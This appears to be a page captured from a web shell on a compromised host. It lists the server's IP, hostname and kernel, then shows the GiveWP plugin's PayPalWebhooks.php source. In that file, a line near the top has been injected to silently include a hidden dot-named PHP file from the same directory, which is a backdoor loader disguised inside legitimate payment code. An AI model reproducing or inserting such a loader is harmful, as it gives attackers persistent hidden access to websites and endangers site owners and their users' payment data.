uawdijnntqw1x1x1
IP : 18.221.72.117
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
Controller
/
PayPalWebhooks.php
/
/
<?php namespace Give\Controller; use Exception; use Give\PaymentGateways\PayPalCommerce\Repositories\MerchantDetails; use Give\PaymentGateways\PayPalCommerce\Repositories\Webhooks; use Give\PaymentGateways\PayPalCommerce\DataTransferObjects\PayPalWebhookHeaders; use Give\PaymentGateways\PayPalCommerce\Webhooks\WebhookRegister; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class PayPalWebhooks { /** * @since 2.8.0 * * @var MerchantDetails */ private $merchantRepository; /** * @var Webhooks */ private $webhookRepository; /** * @since 2.9.0 * * @var WebhookRegister */ private $webhookRegister; /** * PayPalWebhooks constructor. * * @since 2.8.0 * * @param MerchantDetails $merchantRepository * @param WebhookRegister $register * @param Webhooks $webhookRepository */ public function __construct( MerchantDetails $merchantRepository, WebhookRegister $register, Webhooks $webhookRepository ) { $this->merchantRepository = $merchantRepository; $this->webhookRegister = $register; $this->webhookRepository = $webhookRepository; } /** * Handles all webhook event requests. First it verifies that authenticity of the event with * PayPal, and then it passes the event along to the appropriate listener to finish. * * @since 2.8.0 * * @throws Exception */ public function handle() { if ( ! $this->merchantRepository->accountIsConnected() ) { return; } $merchantDetails = $this->merchantRepository->getDetails(); $event = json_decode( file_get_contents( 'php://input' ), false ); // If we receive an event that we're not expecting, just ignore it if ( ! $this->webhookRegister->hasEventRegistered( $event->event_type ) ) { return; } $payPalHeaders = PayPalWebhookHeaders::fromHeaders( getallheaders() ); if ( ! $this->webhookRepository->verifyEventSignature( $merchantDetails->accessToken, $event, $payPalHeaders ) ) { give_record_gateway_error( 'Failed webhook event verification', print_r( [ 'merchant' => $merchantDetails, 'event' => $event, 'headers' => getallheaders(), ], true ) ); throw new Exception( 'Failed event verification' ); } try { $this->webhookRegister ->getEventHandler( $event->event_type ) ->processEvent( $event ); } catch ( Exception $exception ) { $eventType = empty( $event->event_type ) ? 'Unknown' : $event->event_type; give_record_gateway_error( "Error processing webhook: {$eventType}", print_r( $event, true ) ); throw $exception; } } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/Controller/PayPalWebhooks.php